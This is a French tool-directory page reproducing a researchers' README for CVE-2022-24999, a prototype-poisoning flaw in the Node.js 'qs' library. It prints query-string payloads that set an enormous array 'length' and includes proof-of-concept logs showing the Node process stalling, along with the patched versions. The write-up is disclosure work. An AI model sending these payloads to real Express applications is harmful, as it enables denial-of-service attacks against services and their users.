Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-24999 — "qs" vulnérabilité d'empoisonnement de prototype ( CVE-2022-24999 ) | Kitploit
Outils/GitHubGitHub/9pings/cve-2022-24999
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité Web
GitHub9pings/cve-2022-24999

CVE-2022-24999

"qs" vulnérabilité d'empoisonnement de prototype ( CVE-2022-24999 )

Voir le dépôt
83il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-24999

Ce dépôt contient des échantillons d'exploits de la vulnérabilité que nous avons découverte dans la bibliothèque JS "qs" en décembre 2021.

  • Cette vulnérabilité a été corrigée dans Express v4.17.3 et qs v6.10.3, v6.9.7, v6.8.3, v6.7.3, v6.6.1, v6.5.3, v6.4.1, v6.3.3 et v6.2.4.

Bombe de tableau et de chaîne qs

Les versions vulnérables de "qs" permettent de créer des propriétés "proto" sur les objets JS de sortie.

En définissant un tableau dans la propriété "proto", nous avons pu créer des objets "semblables à des tableaux".

Comme les objets résultants héritent du prototype "Array", ils exposent les fonctions natives d'Array.

Mais comme ce sont toujours des objets, "qs" permet de définir la propriété "length" sur ceux-ci.

Par exemple, la charge utile suivante créera ce type de tableau "malveillant" :

root@kitploit:~
categories[_proto__]&categories[_proto__]&categories[length]=100000000

Ainsi, définir une valeur "length" déraisonnable sur ceux-ci bloquera le processus Node dès qu'il tentera de les convertir en valeurs chaîne ou en appelant la plupart des fonctions natives d'Array.

Cela expose toute application Node utilisant une version vulnérable de "qs", avec la configuration Express par défaut et sans système de validation fort à des attaques DOS applicatives.

Voici un exemple de logs de la preuve de concept dans ./express-qs-string-bomb :

root@kitploit:~
Send payload :  someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params  { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123" 
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s

Autres comportements exploitables

Notre analyse nous a également permis de constater que d'autres modes d'exploitation étaient possibles.

Nous en décrivons certains dans le répertoire ./qs-vulns.

Crédits

BRAUN Nathanael & BRISSAUD Johan
Pour EY Security, France

Télécharger l’outil